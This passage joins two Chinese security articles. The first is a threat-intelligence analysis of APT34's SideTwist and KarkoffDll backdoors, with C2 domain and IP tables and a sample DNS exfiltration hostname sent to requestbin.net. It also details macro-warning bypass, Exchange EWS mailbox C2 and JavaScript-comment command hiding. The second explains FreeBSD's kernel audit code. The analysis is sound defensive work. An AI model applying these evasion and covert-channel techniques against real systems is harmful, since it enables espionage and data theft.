攻击者通过钓鱼页面可以直接窃取到目标的电子邮件信息并应用于下一阶段的攻击活动。
图2-7 通过钓鱼页面盗取邮件账户
对于APT34爆破Exchange邮件账户的手段，我们复盘了该组织被曝光的各类攻击武器，其中Jason能够用于窃取邮件账户信息，并可以针对Exchange服务器（07到17版本）的邮件账户进行爆破。
图2-8 Jason工具（爆破邮件账户）
APT34在2019年曾泄露出大量已被攻陷的Exchange账户，其中涉及到不少黎巴嫩和中东的受害者，甚至还包括了我国的十多家企业和机构。而此次暴露的邮箱账户表明APT34仍然在持续开展针对Exchange服务器及邮件系统的攻击，其同样可能以类似的手段攻击我国的机构、企业并实现隐蔽驻留（EWS
API隐匿通信），需要引起足够的重视。
图2-9 已曝光的失陷Exchange示例
* 3）HTTP/HTTPS通信设施（SideTwist） 除此之外，在对SideTwist进行逆向分析后，我们发现该后门将通信数据隐藏于html文本的javascript中，这些被隐藏的数据以注释的形式存在于javascript标签中。这是APT34采用的最新方法，这种方法非常隐蔽且极难被检测。我们基于分析得到信息指纹并结合一些情报数据，最终获得了一批与该组织有关的网络基础设施（表2-5）。
表2-5 C&C基础设施
域名| 创建时间| 注册邮箱| IP 地址| ISP
---|---|---|---|---
pluginmain.com| 2021/2/9| [email protected]| 96.9.255.246(N/A)| NEXEON
severalfissures.com| 2020/12/22| [email protected]| 193.239.84.207| M247
Ltd
endlesspromises.com| 2020/12/15| REDACTED FORPRIVACY | 23.19.58.17/18|
Leaseweb Uk Limited
metroupload.com| 2020/12/15| [email protected]| 23.19.58.17(N/A)|
Leaseweb Uk Limited
forecasterman.com| 2020/12/15| [email protected]| 23.19.58.17/18|
Leaseweb Uk Limited
crucialanswer.com| 2020/12/13| REDACTED FORPRIVACY| 23.19.58.17/18| Leaseweb
Uk Limited
confusedtown.com| 2020/12/13| [email protected]| 0.0.0.0| N/A
donotfollowmeass.com| 2020/12/13| [email protected]| 23.19.58.17| Leaseweb
Uk Limited
cannibalwoman.com| 2020/12/12| REDACTED FORPRIVACY| 23.19.58.17| Leaseweb Uk
Limited
unsecuredstorage.com| 2020/12/8| [email protected]| 23.19.58.17/18|
Leaseweb Uk Limited
hopeisstamina.com| 2020/12/8| REDACTED FORPRIVACY| 23.19.58.17/18| Leaseweb Uk
Limited
Importantgate.com | 2020/12/8| [email protected]| 0.0.0.0| N/A
flexiblepaper.com | 2020/12/7| [email protected]| 23.19.58.17| Leaseweb Uk
Limited
acceptplan.com| 2020/12/6| [email protected]| N/A| N/A
klwebsrv.com| 2020/11/26| [email protected]| 23.19.58.17| Leaseweb Uk
Limited
## 2.4 技术演进
APT34的本次攻击活动与早期相比，有着一些改变，其中从诱饵文档到后门程序上都存在较多改进。比如增加了用于关闭宏提示的诱饵文档，基于DNS的感染上报，以及以`JavaScript`为载体的流量隐藏等等。
* 1）关闭宏提示诱饵文档 本次攻击中，我们第一次发现`APT34`采用了一种预攻击诱饵的手法，黑客首先向目标发送一个没有任务恶意行为的诱饵文档，该诱饵文档会偷偷地在目标主机上关闭`excel`和`word`两种文件的宏提示功能。并在此后攻击中，黑客会再次利用其它诱饵文档来下发后门。
图2-10 关闭宏提示功能
* 2）基于DNS隧道的感染上报 相比于APT34以往的攻击活动，本次添加一个利用DNS协议进行攻击活动的上报，上报的服务器是公共的网络设施。这种上报最主要的特点是阶段化以及匿名化，同时流量是难以发现和检测的。通过分析发现，上报信息中包括受害者的一些列的可识别信息（如感染时间、用户名、主机名，IP地址等）。攻击者采用这种新的技术手法，能够及时掌握入侵执行进度（侦察阶段），以便进一步调整技战术策略来提高攻击的成功率。
图2-11 DNS上报信息代码
* 3）以JavaScript为载体的流量隐藏
根据目前掌握的信息可知，`SideTwist`是`APT34`在本次攻击活动使用的一款新后门。该后门在与C&C交互时，采用了较隐匿的通信机制。攻击者将加密后的控制指令数据隐藏在html页面的`<script>`标签中，并以注释的形式存储。当后门获取指令时，则使用HTTP请求从伪造的虚假页面中提取控制指令数据。这能非常有效地逃避流量监视和检测。
图2-12 伪造的虚假页面部分源代码
* 4）KarkoffDll后门改进
在以往的攻击中，APT使用的Karkoff后门是以独立的EXE可执行文件存在，文件名类似out.exe之类的文件，通过计划任务启动执行；而本次攻击中黑客将该后门分离成两部分，分别为白文件Mircroft.Exchange.WebServices.dll和后门程序System
Exchange Service.dll（提高了免杀能力），我们将新变种命名为KarkoffDll。该变种通过VBS脚本启动，而VBS以计划任务启动。
图2-13 模块分离
* 5）EWS邮件模本改进
在本次攻击中，黑客着重针对EWS通信过程中的邮件模板进行了精心设计和伪装。从先前的攻击案例来看，用于传输数据的邮件任务模板设计简单，无论是邮件主题前缀（“Great!”），还是邮件内容（“This
is our
reusme”）都略显简易，容易引人生疑。而在此次行动中，攻击者通过精心仿造Dropbox平台（网络存储服务提供商）的服务更新邮件来混淆视听，邮箱用户即使关注到恶意邮件内容（存储于已删除邮件），也很可能会误认为是Dropbox平台正常的服务邮件而忽略。另外，在前期攻击活动中通信数据被加密隐写在图像附件（RDAT）或TXT文本附件（Karkoff）中，此次攻击则隐藏在邮件Emailbody正文尾部，一方面可以起到不错的视觉混淆效果，另一方面也能避开部分针对邮件附件的文件检测。
图2-14 邮件任务对比
此外，在前期攻击活动中使用的EWS
API邮件通信只支持2种邮件任务：“CMD”邮件任务和“结果”邮件任务，分别用于接收和发送指令，但这两种任务无法及时提供受控机器的连接情况。APT34在此次攻击中进行了升级——新增了“心跳包”邮件任务，当“已删除邮件”中不存在“CMD”邮件时，则更新“心跳包”邮件，攻击者即可掌握受控机器的上线连接情况。
图2-15 增加“心跳包”邮件
# 三、攻击案例剖析
APT34的这次攻击涉及到多种形式的诱饵文档和样本形态,在分析完这批攻击样本和攻击策略后，我们将此次攻击活动划分为三个阶段：`初期侦察`、`后门植入`和`隐匿驻留`。整套攻击流程经过了攻击者的精心策划和部署。
初期侦察阶段，`APT34`首先投递“`无害`”的恶意文档诱导受害者点击执行宏代码，并利用绕过技术“关闭”`Office`的宏安全警告。默认允许宏代码执行就如同打开了“潘多拉魔盒”，攻击者后续所有基于宏的恶意行为将会悄无声息的执行，这给攻击者后续的入侵活动提供了便利。同时，由于文档不存在明显的恶意行为，该阶段也很难被受害者察觉。在该诱饵文档的宏执行过程中，其借助了公共服务商`RequestBin`提供的`DNS`服务来传输受害设备的指纹信息和宏感染进度，由于`RequestBin`的`DNS`匿名使用特性，所以我们称这种技术为“`匿名DNS隧道技术`”，黑客巧妙地利用了这一点，并在此次攻击活动中广泛应用于诱饵文档中。
后门植入阶段，攻击者继续投递诱饵文档并通过宏代码植入后门`KarkoffDll`或`SideTwist`。植入过程包含解密释放后门和安装计划任务两部分工作，同时其也会借助公共服务商`RequestBin`提供的`DNS`服务来传输受害设备的指纹信息和宏感染进度。
隐匿驻留阶段，植入的两类后门通过不同的隧道通信技术实现敏感数据传输。后门`KarkoffDll`通过`EWS
API`与`Exchange`邮箱账户（可信服务器）通信，将数据加密隐匿在`EWS协议`中传输，我们称之为“`EWS隧道技术`”。后门`SideTwist`采用“`HTTP隧道`”来实现与控制命令服务器的通信，在通信过程中，该后门还采用了基于`HTTP协议`的“`JS控制通道`”来隐秘下发控制指令。我们将在3.3章节做相关的技术分析，攻击活动的整体流程参考图3-1。
图3-1 入侵流程
## 3.1 阶段一：初期侦察
在初期侦察阶段，攻击者通过投递“无害”的恶意文档诱导受害者点击执行宏代码。宏代码的主要功能是绕过Office宏安全警告，同时会将宏感染情况通过DNS上报给攻击者（DNS上报信息是此次攻击活动中诱饵文档的共性特点，将在阶段二中具体分析）。文档宏的核心代码如下：
图3-2 绕过Office默认宏安全警告
在检测Office版本时，首先查找注册表中excel.exe的程序路径，之后结合GetFileVersion函数获取Office的所属版本。
图3-3检测Office版本
然后，分别针对Excel和Word程序添加Office安全可信路径的注册表项（可信路径为”C:\”），并设置为支持子目录可信。最终，攻击者通过增加Office可信目录可以达到自动执行C盘下Office恶意宏的目的，为后续的入侵活动提供支持。
图3-4增加Office可信目录
## 3.2 阶段二：后门植入
在完成第一阶段的侦察并绕过宏安全警告后，攻击者继续投递恶意宏文档以植入后门。其中，攻击者巧妙的借助了公共服务商`RequestBin`提供的`DNS`隧道服务进行宏感染情况的上报。使用公共DNS隧道服务可以充分保证通信的隐匿性，攻击者根据上报的DNS信息能够及时掌握后门植入的进度，并及时调整技战术策略。
诱饵文档诱导受害者
“启用宏”来执行恶意VBA脚本（如受害者已执行阶段一的诱饵文档则会默认执行宏）。以释放后门`KarkoffDll`的恶意文档为例，VBA宏通过`Document_Open`和`Document_Close`两类事件来触发恶意行为。
图3-5 VBA行为
Document_Open（文档打开时）： DNS上报感染进度（第一次）
Base64解码提取后续的恶意代码并释放至新创建的目录“\appdata\local\Google_Corporation\”
检查环境是否有鼠标可用（反沙箱） DNS上报感染进度（第二次）
Document_Close（文档关闭时）： 检查环境是否有鼠标可用（反沙箱） DNS上报感染进度（第三次）
注册windows任务计划（伪装名称：Google Update），每5分钟运行脚本(exchange.vbs执行后续恶意代码), 持续20天
DNS上报感染进度（第四次）
### 3.2.1 DNS上报信息
在DNS上报信息的过程中，需上报内容将以DNS子域的形式传递，包括受害者的可识别信息（用户名、主机名、宏代码执行阶段）。除此之外，黑客在RequestBin端还可以识别到受害者的IP地址及感染时间。
图3-6 DNS隧道通信
当恶意文档在以下设备环境中执行时，DNS上报流量参考图3-7所示。 Hostname : WIN-36F2EAP UserName : jayer
DNS上报信息示例（子域“2eapjayv9u2”为传输信息）：
2eapjayv9u2.53a91f99cdc251934931.d.requestbin.net
图3-7 DNS上报流量
requestbin.net端接收到的完整感染上报情况参考图3-8所示。
图3-8 “requestbin.net”接收DNS上报信息
在此次攻击活动中，诱饵文档的共性技战术特点是均通过`RequestBin`提供的`DNS`隧道服务进行宏感染情况的上报。我们针对3种不同类型的诱饵文档进行了比对分析，发现文档基于功能的不同上报次数也有所差异。初期侦查阶段（绕过宏安全警告）的诱饵文档共2次上报感染阶段，而后门植入阶段涉及的两类诱饵文档分别进行了4次和6次上报，对比情况参考下图所示。
图3-9 感染阶段上报对比
### 3.2.2 注册任务计划
当受害者打开文档时（Document_Open），宏代码通过Base64解码并释放后续的恶意代码。此阶段包含两类不同的后门KarkoffDll和SideTwist，其释放路径和加载方式也有所不同，相关路径如下所示：
“……\ appdata\local\Google_Corporation\”（KarkoffDll）
"……\public\documents\SystemFailureReporter\"（SideTwist）
图3-10 后门释放路径
当受害者关闭文档时（Document_Close），宏代码将注册Windows任务计划以循环加载执行后续的恶意代码。以释放后门KarkoffDll的文档为例，当文档关闭时，其会创建任务名为Google
Update的任务计划。
图3-11 注册任务计划
该任务计划每5分钟执行一次`exchange.vbs`脚本，从而加载后续恶意代码`MicrosoftExchangeModule.dll`和依赖库`Microsoft.Exchange.WebServices.dll`。后门的持久性高度依赖于此任务计划，其生命周期也与任务计划时间相同（任务计划持续20天）。
## 3.3 阶段三：隐匿驻留
攻击者最终可能植入两类后门木马，分别使用了不同的隐匿隧道通信技术来实现敏感信息的传输：EWS隧道技术（`KarkoffDll`）和HTTP隧道技术（`SideTwist`），下文分别对这两类样本及其使用的通信技术进行深入分析。
### 3.3.1 EWS隧道通信
后门KarkoffDll利用了EWS API协议实现受控机与C&C间的隐匿隧道通信。EWS（全称`Microsoft Exchange Web
service`）是`Exchange 2007`之后推出的基于SOAP (`Simple Object Access Protocol`) 协议的 web
service，提供了访问Exchange资源的接口。微软Exchange团队后续又推出了`Microsoft Exchange Web
Service(EWS) Managed API`，开发者可以根据此接口发送和接收信息，实现操作Exchange服务器邮箱的各类功能。
攻击者在成功窃取到受害目标或与目标具有信任关系的Exchange服务器邮箱账户后，将该账号作为`C&C`跳板，通过EWS API隐匿的传输数据。由于EWS
API本身基于SOAP协议和HTTPS加密，且恶意数据被组合加密(自定义`Base64+RSA+AES`)后隐藏嵌入在邮件内容中传输，在对抗流量检测方面可以起到很好的效果。我们搭建了`EWS`环境来模拟被入侵邮件账户的受控情况：
图3-12 通过EWS API传输敏感数据
攻击者将恶意EWS模块封装在DLL(MicrosoftExchangeModule.dll)中，并结合Windows任务计划和exchange.vbs脚本定时加载。
图3-13 exchange.vbs加载DLL
MicrosoftExchangeModule.dll的执行流程如图3-14所示，我们将分别从初始化、EWS API通信、控制指令三个部分进行介绍。
图3-14 恶意DLL执行流程图
* 1）初始化 首先，后门执行的初始阶段会随机休眠30秒至120秒以尝试绕过沙箱检测。
图3-15 初始休眠
之后，通过自定义码表的Base64算法对UserName进行编码从而生成程序ID标识(Program.id)，该标识将用于后续通信的识别。
图3-16 生成程序ID
进一步后门会读取资源信息，包括登陆EWS服务器邮箱所需的Host域名、账号、密码、邮件地址，以及配置文件中的模式值（首次运行为null）。
图3-17 登陆邮箱所需的连接信息
由于后门循环启动，黑客可以通过更改配置文件中”KMAV”对应的模式值来实现不同的功能分支。配置文件字段及相关信息如下：
图3-18 配置文件相关信息
* 2）EWS API通信 初始化后，后门在CheckEWSConnection()函数内根据从配置文件中读取到的模式值(credential.mode)选择执行分支。当模式值为0-2时程序会在当前登陆连接的Exchange邮件账户中创建邮件任务；当值为3-7时则会将邮件任务发送至黑客指定的邮箱（如：[email protected]）。
图3-19 执行分支
各分支根据传入参数创建EWSCommunication对象、EWSManager对象以及进行EWS服务器连接建立的初始化工作。
图3-20 创建连接对象
进一步在Initialize()函数中将设置EWS请求的UserAgent、操作文件夹位置（默认为已删除邮件）。
图3-21 初始化配置
如果是首次执行后门（模式值为0），还将添加以下邮件收件箱规则： （1）DefaultExchangeRule1：若邮件主题中包含“Important
Dropbox Updates”字符串，删除邮件并且将邮件标记为“已读” （2）DefaultExchangeRule：若邮件主题中包含“Important
Dropbox API Updates”字符串，删除邮件并且将邮件标记为“已读”
图3-22 收件箱规则
创建收件箱规则的目的是将包含指定字符串的邮件移至“已删除邮件”，降低被邮箱用户发现的机率。攻击者采用了3种邮件任务实现数据传输，分别为“心跳包”邮件（aliveSubject）、“CMD”邮件（cmdSubject）、“结果”邮件（resultSubject）：
表3-1 邮件任务信息
资源名称| 值(邮件主题名前缀)| 功能解释
---|---|---
aliveSubject| Dropbox and Paper, together| “心跳包”邮件任务（更新执行时间）
cmdSubject| Important Dropbox API Updates| “CMD”邮件任务（接收C&C指令信息）
resultSubject| Important Dropbox Updates| “结果”邮件任务（上报指令执行结果）
首次执行后门时受控机器会创建默认的“心跳包”邮件和“结果”邮件，“CMD”邮件则会由攻击者在下发控制指令时创建。
“心跳包”邮件主题名结构：aliveSubject + Program.id（自定义Base64) 示例：" Dropbox and Paper,
together CoFD!o4^}-F?CuF0}dNN"
图3-23 邮件任务主题
加解密算法： EWS
API基于`SOAP`协议和`HTTPS`加密通信，其本身已具有较强的安全性。攻击者进一步还将传输数据组合加密后嵌入在`Emailbody`中对抗流量检测，并通过前后字符串定位加密数据内容：
startString: “These don’t require action, but they may” endString: “enrich
your application and increase the value” 默认“结果”邮件的数据结构如下（初次创建）： mid | cid |
data | UserDomainName | MachineName | UserName
图3-24 邮件Emailbody
邮件标题和内容均通过伪造Dropbox平台（网络存储服务提供商）的服务更新内容来混淆视听。在通信安全方面，黑客采用了RSA（非对称加密算法）、AES（对称加密算法）、自定义码表Base64的组合加密策略。通信共使用了两对RSA密钥对A和B，其中受控端内置了A密钥对的公钥和B密钥对的公钥、私钥。受控端上传信息时先由AES加密内容，再通过RSA_PublicKey_A加密AES
密钥，由于本地不存在A的私钥，那么即使捕获到加密流量也不具备解密条件。而接收黑客指令时由于本地有密钥对B的私钥，则可以解密识别控制指令。两类加密的指令数据格式如图3-25所示：
图3-25 加密指令数据格式
GetCommands()函数负责指令的获取和初次解码，后门通过GetList() API查找已删除邮件列表并过滤
“CMD”邮件，通过HTTPS解密捕获到的流量如下：
图3-26 GetList API流量（HTTPS中间人捕获）
如果从邮件列表中过滤到cmdSubject任务（`Important Dropbox API Updates +
Program.id`），则进一步读取邮件内容并通过自定义Base64算法解码提取加密指令。此外，黑客在痕迹清理方面也表现出较强的专业性，在提取指令后会立即清除该CMD邮件以隐藏痕迹。
图3-27 寻找及清理CMD邮件
如果未能从“已删除邮件”中获取到指令，则记录当前时间并更新至心跳包邮件(aliveSubject任务)，之后关闭程序。
图3-28 更新心跳包邮件
* 3） 控制指令 加密指令经过GetCommands()函数解码后，进入ParseCommand()函数进一步解析密文，依照RSA私钥解密(得到AES密钥)、AES密钥+IV解密（得到明文）的顺序提取出指令内容。 图3-29 解析密文
图3-30 控制指令执行分支
指令解析后对应5种类型，以指令值101（功能：执行CMD命令）为例: “101|1|3|13|mkdir malware”，其控制指令结构示意如下：
图3-31 控制指令结构示例
当受控机器接收到“CMD”邮件任务（cmdSubject）时，程序解密并执行指令，然后创建”结果“邮件（resultSubject）上报指令执行结果。如果指令未匹配，则返回”Done:D”。执行CMD命令“mkdir
malware”后的返回数据如下：
图3-32 resultSubject数据（未加密）
控制指令功能参考下表所示： 表3-2 控制指令功能
指令值(mid)| 指令名称| 指令功能
---|---|---
101| Execute| Cmd执行命令
102| Download| 将控制端的传递数据保存至指令目录
103| Upload| 将需上传文件路径保存至cmd.result并准备上传
104| Shred| 清除指定文件(移动该文件至随机位置后再进行删除操作)
105| Send_Log| 读取ExceptionHandling运动cmd.result并准备上传
### 3.3.2 HTTP隧道通信
SideTwist后门是由第一阶段宏代码添加的计划任务启动执行。其首先通过sleep延迟执行恶意行为以尝试绕过沙箱检测，休眠时间为计算出的随机数的10倍。
图3-33 Sleep延迟执行恶意行为
接着获取主机用户名、计算机名以及域名等信息，并通过简单的异或计算出用以标识的唯一值。此外，后门还会检查“update.xml”文件是否存在于上级目录中，不存在则输出调试信息并结束进程。
图3-34 计算唯一标识符和检查XML文件
如该文件存在，后门则发送HTTP GET请求到C&C服务器
（sarmsoftware.com/search/[identifier]），使用的端口号为443，并将80作为备用的端口号。
图3-35 使用HTTP协议与服务器通信
发送给服务器的GET请求流量内容如下图所示：
图3-36 GET请求流量数据包内容
在分析此样本时，该域名已无法访问，我们通过其它途径找到了与其关联的页面源代码。后门将加密后的控制指令字符串以特定格式隐藏在HTML特定javascript标记内，并在字串首尾以“/
_“”_
/”作为提取指令时的分隔符，我们称这种利用`javascript`作为控制命令下发的通道为为“JS控制通道”。具体如图3-37所示（该例的控制指令编号为-1）。
图图3-37 提取控制指令数据
后门所有通信流量的加解密均采用Base64和梅森旋转算法（`Mersenne
twister`）。解密控制指令数据时，其先使用Base64对字串进行解码，之后再将加密数据的前4个字节作为种子，通过`Mersenne
twister`进行解密，解密后的数据使用‘|’作为分隔符。如果数据中包含参数，则参数部分还需再进行一次`Base64`解码。解密后的数据格式如图3-38所示。
图3-38 解密流程和解密后的数据格式
解密流程部分代码如下图所示：
图3-39 解密流程部分代码内容
成功解密后，后门首先会提取出控制指令编号，判断该值是否为-1。如果是，则获取受感染主机的用户名以及主机名等信息，并将信息拼接成
“用户名|主机名|WORKGROUP”（‘|’作为分隔符）格式。之后再使用Mersenne twister和Base64对数据进行加密。
图3-40 加密获取到的用户主机信息
最后，后门使用HTTP POST方法，将加密后的数据发送给C&C服务器。数据采用简单的JSON格式，具体如图3-41所示。
图3-41 向C&C服务器发送加密后的数据
最终发送给服务器的返回数据格式如下图所示：
图3-42 发送到服务器的加密后数据格式
SideTwist后门的功能比较简单，在分析中并没有发现如屏幕监控或键盘记录之类的监视功能，猜测其主要用于前期的侦查阶段。具体的控制指令功能如下表所示。
表3-3 控制指令功能
控制指令标识符| 控制指令| 参数| 功能
---|---|---|---
-1| 101（未使用）| 无参数（参数1）| 上传主机相关信息
非-1值| 101| shell 命令（参数1）| 运行shell命令
非-1值| 102| 文件名（参数1）/ 下载路径（参数2）| 下载指定文件
非-1值| 103| 文件（参数1）| 上传指定文件
非-1值| 104| shell 命令（参数1）| 运行shell命令
# 四、总结
通过以上的分析可以看出，`APT34`组织的攻击手法隐秘高明，且在不断地改进升级其攻击技术，扩充其匿名性的基础设施和增加其独具一格的`TTP`。同时其还擅长于巧妙地利用低成本公共服务来隐藏其攻击痕迹，提高其攻击的成功率。此外，该组织为了逃避检测机制，常常会更换攻击策略和战术。
APT34偏向于使用更容易做免杀的脚本或更具欺骗性的`word`文档作为初期阶段的载荷投递，接着通过定制加强的后门来执行攻击任务，同时利用各种隐匿通信隧道与黑客方交换数据，例如其长期使用的“EWS隧道技术”作为控制通道以及本次攻击中新使用的“匿名DNS隧道技术”作为预攻击活动上报，使用“JS控制通道”作为控制命令下发的管道。“EWS隧道技术”通过依附高可信组织的`Exchange`邮件账户作为`C&C`（失陷邮件账户）,极大的提高了安全检测的难度，可以说是一种较为高明且保险的攻击策略。而“匿名`DNS`隧道技术”不同于一般的`DNS`隧道技术，其采用了成本低且完全匿名的形式，极难检测和追踪。“JS控制通道”的使用也是该组织在HTTP通信过程中首次使用的，难以检测和发现。
当我们面临这种攻击时，常常很难在攻击未发现的情况下检测出此类攻击，无论是基于规则、算法，还是基于机器学习算法的检测，其在流量规避上一直在寻求新的手段和方法，不断地利用公共设施和窃取的账户做为控制命令服务器。攻击隐藏和攻击发现这是一个长期的对抗过程，只有提高我们的发现能力和威胁情报反应能力才能够将这种攻击的威胁降低到最小，这其中需要我们具备较强的分析能力，较快的反应能力外，还需要结合新的防御思路和先进的检测技术来平衡攻防不对等的状态。
* * * | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/-U71_2jMvboCj-y7CHDBAA>**
# 1 背景
## 1.1 freebsd audit 简介
`Freebsd
audit`子系统是由`TrustBSD`项目从`Apple`的`XNU`内核移植过来的，在`freebsd6.2`系统中发布。`XNU`内核中的`audit`子系统最初是由`McAfee`公司给`apple`设计的，它遵循的是`solaris`发明的`BSM`框架。
## 1.2 freebsd 与 linux audit 对比
同样作为`audit`审计功能，`freebsd`的设计理念跟`linux`的有所不同。
* 1) 对于审计的对象， `linux`是每个系统调用，而`freebsd`定义的则是`event`事件，多个类似的`event`事件归属同一个`class`组。对于`linux`，在用户空间定义规则时就要指定某个具体的系统调用，`freebsd`则是指定的`class`组。
* 2) `linux`提供了更精确的`rule`规则列表，只针对在某种特定条件下才记录日志，它有一个规则匹配引擎，而`freebsd`没有提供这项功能，只是纯粹的记录日志。比如两个系统都能监控`socket`系统调用，`freebsd`会把所有的`socket`调用都记录，而`linux`可以做到只记录第一个参数`domain`为`AF_INET`，第二个参数`type`为`SOCK_STREAM`，第三个参数为`IPPROTO_TCP`的某次`socket`调用。当然`linux`的规则引擎也不完备，不能处理指针和结构体。规则数目较多时，系统会感到明显的卡顿，在敏感的系统调用路径里，规则审计应该做到越快越好，从这一点上来说，`freebsd`的做法似乎更纯粹一些。
* 3) 对于与用户层的通讯接口，`linux`使用的是`netlink socket`，而`freebsd`则是增加了若干系统调用以及`/dev/audit`和`/dev/audit_pipe`来做通讯。
* 4) 对于审计的入口，`freebsd`只在系统调用入口处处理，而`linux`还可以从进程`fork`以及文件系统等路径进行处理。
* 5) `Freebsd`没有对全部的系统调用进行审计，而`linux`则是全部都要审计。
* 6) 对于系统调用参数的记录是比较困难的， 因为不同的系统调用参数个数不同，每个参数的类型也不同，类型还可能包括指针和数据结构嵌套， 目前业界没有一个较好的算法能捕获这些参数。所以`freebsd`的做法是在内核大部分模块中都加入了`hook`，才可以保证系统调用参数的获取，而`linux`对这种支持很少。
* 7) `Freebsd`对`MAC`强制访问控制系统是不做审计的， 而`linux`对`MAC`甚至是`secomp`都做了审计操作。
* 8) `Freebsd`的日志格式采用的是工业界的标准`BSM(basic security model)`，`linux`采用的是自定义的格式。
# 2 实现
## 2.1 与用户层通讯接口
`Freebsd` 增加了以下几个系统调用，用于从用户层与内核层的通讯，这些系统调用包括`audit`功能开启，参数配置等等。
sys_audit// 向内核传递用户层自定义的日志内容
sys_auditon// 用于参数和规则控制
sys_getauid// 获取audit session id
sys_setauid// 设置audit session id
sys_getaudit// 获取audit状态信息
sys_setaudit// 设置audit状态信息
sys_getaudit_addr// 获取audit状态信息， 包含一些额外信息
sys_setaudit_addr// 设置audit状态信息， 包含一些额外信息
sys_auditctl// 建立一个新的audit日志文件
这几个系统调用的实现逻辑都比较简单，笔者不在本文进行讲解，读者朋友可以自己尝试阅读下源码。
## 2.2 审计实现
我们同样以`x86`体系为例，看下`freebsd audit`子系统的入口是如何进入的。
amd64/amd64/exception.S：
IDTVEC(fast_syscall)
call amd64_syscall
amd64/amd64/trap.c：
amd64_syscall()->syscallenter
syscallenter(struct thread *td)
{
AUDIT_SYSCALL_ENTER(sa->code, td);[1]
error = (sa->callp->sy_call)(td, sa->args);[2]
AUDIT_SYSCALL_EXIT(error, td);[3]
}
在执行具体的系统调用[2]之前，需要在[1] 处执行审计的预处理：
security/audit/audit.c：
void
audit_syscall_enter(unsigned short code, struct thread *td)
{
event = td->td_proc->p_sysent->sv_table[code].sy_auevent;[4]
auid = td->td_ucred->cr_audit.ai_auid;[5]
if (auid == AU_DEFAUDITID)
aumask = &audit_nae_mask;
else
aumask = &td->td_ucred->cr_audit.ai_mask;
class = au_event_class(event);[6]
if (au_preselect(event, class, aumask, AU_PRS_BOTH)) {[7]
record_needed = 1;
} else if (audit_pipe_preselect(auid, event, class, AU_PRS_BOTH, 0)) {[8]
record_needed = 1;
} else {
record_needed = 0;
}
if (record_needed) {
td->td_ar = audit_new(event, td);[9]
}
`freebsd`在每个进程结构体里都保存一个系统调用数组指针`struct sysentvec`，它包含一个成员`struct sysent`：
struct sysent { /* system call table */
int sy_narg; /* number of arguments */
sy_call_t *sy_call; /* implementing function */
au_event_t sy_auevent; /* audit event associated with syscall */
systrace_args_func_t sy_systrace_args_func;
/* optional argument conversion function. */
u_int32_t sy_entry; /* DTrace entry ID for systrace. */
u_int32_t sy_return; /* DTrace return ID for systrace. */
u_int32_t sy_flags; /* General flags for system calls. */
u_int32_t sy_thrcnt;
};
`Sy_call` 保存的是具体的系统调用函数指针。
前面讲过`freebsd
audit`是基于`event`事件来驱动的，`sy_auevent`保存的就是`event`事件号。每个系统调用只有一个或没有`event`事件。如果没有`event`事件，那么在`audit`审计的时候就会被忽略。这一点与`linux`不同，
`linux`是所有的系统调用都要被审计。我们可以看下`freebsd`的`init`进程的`struct sysent`的初始化表：
kern/init_sysent.c：
struct sysent sysent[] = {
{ 0, (sy_call_t *)nosys, AUE_NULL, NULL, 0, 0, 0, SY_THR_STATIC },
{ AS(sys_exit_args), (sy_call_t *)sys_sys_exit, AUE_EXIT, NULL, 0, 0, SYF_CAPENABLED, SY_THR_STATIC },
{ 0, (sy_call_t *)sys_fork, AUE_FORK, NULL, 0, 0, SYF_CAPENABLED, SY_THR_STATIC },
{ AS(break_args), (sy_call_t *)sys_break, AUE_NULL, NULL, 0, 0, SYF_CAPENABLED, SY_THR_STATIC },
{ compat(AS(ogetkerninfo_args),getkerninfo), AUE_NULL, NULL, 0, 0, 0, SY_THR_STATIC }, /* 63 = old getkerninfo */
{ compat(0,getpagesize), AUE_NULL, NULL, 0, 0, SYF_CAPENABLED, SY_THR_STATIC }, /* 64 = old getpagesize */
}
这里还是有很多空`event`事件的，那么这些系统调用都不会被`audit`审计到。`Freebsd`内核开发者应该是认为某些系统调用没有危险性，所以暂时不需要被审计到。
在[5]处获取当前的会话`session id`，来判断是否使用内核的`class mask`还是进程的`class
mask`。[6]处开始将`event`事件号，转化为对应的`class`组，前面提到`freebsd`将类似的`event`事件归并入一个`class`组。`Event`事件和`class`组是通过哈希表来管理的，
`audit`子系统在初始化的时候把上述`init`进程的`sysent`数组中`event`号进行提取，然后归档到哈希表中。后续应用进程也可以通过`auditon`来进行动态添加。[7]处的`au_preselect`对`class
mark`进行匹配，来判断是否需要进行本地审计。[9]处是否需要使用`/dev/audit_pipe`来与用户层进行实时交互。[9]处如果需要记录就通过`audit_new`动态分配一个`struct
kaudit_record`数据结构。Linux的audit数据结构是在进程`fork`时就提前生成，笔者认为这样做的效率会高些。
当[2]处具体的系统调用执行完毕后， 在[3]处开始做记录日志操作。
void
audit_syscall_exit(int error, struct thread *td)
{
audit_commit(td->td_ar, error, retval);
}
void
audit_commit(struct kaudit_record *ar, int error, int retval)
{
while (audit_q_len >= audit_qctrl.aq_hiwater)
cv_wait(&audit_watermark_cv, &audit_mtx);
TAILQ_INSERT_TAIL(&audit_q, ar, k_q);
audit_q_len++;
audit_pre_q_len--;
cv_signal(&audit_worker_cv);
}
与`linux`不同，
`feebsd`的系统调用日志记录操作逻辑很清晰简单，因为没有`linux`的规则匹配引擎。`Linux`在进入系统调用之前只有一些简单的初始化操作，真正的判断是在系统调用返回时通过规则引擎来识别的，这是它们的不同之处。
`Freebsd`是在进入系统调用之前就已经预判此次系统调用是否需要被审计，后续的`audit_commit`只管往日志队列里写数据，当队列长度超过高水位线时就进行休眠，否则将一个节点插入到队列里，并唤醒等待的`audit
worker`进程。
`Audit worker`进程是在`audit`子系统初始化被建立的：
static void
audit_worker(void *arg)
{
struct kaudit_queue ar_worklist;
struct kaudit_record *ar;
int lowater_signal;
TAILQ_INIT(&ar_worklist);[1]
while (1) {
mtx_assert(&audit_mtx, MA_OWNED);
while (TAILQ_EMPTY(&audit_q))[2]
cv_wait(&audit_worker_cv, &audit_mtx);
lowater_signal = 0;
while ((ar = TAILQ_FIRST(&audit_q))) {[3]
TAILQ_REMOVE(&audit_q, ar, k_q);
audit_q_len--;
if (audit_q_len == audit_qctrl.aq_lowater)
lowater_signal++;
TAILQ_INSERT_TAIL(&ar_worklist, ar, k_q);
}
if (lowater_signal)[4]
cv_broadcast(&audit_watermark_cv);
mtx_unlock(&audit_mtx);
while ((ar = TAILQ_FIRST(&ar_worklist))) {[5]
TAILQ_REMOVE(&ar_worklist, ar, k_q);
audit_worker_process_record(ar);[6]
audit_free(ar);
}
mtx_lock(&audit_mtx);
}
}
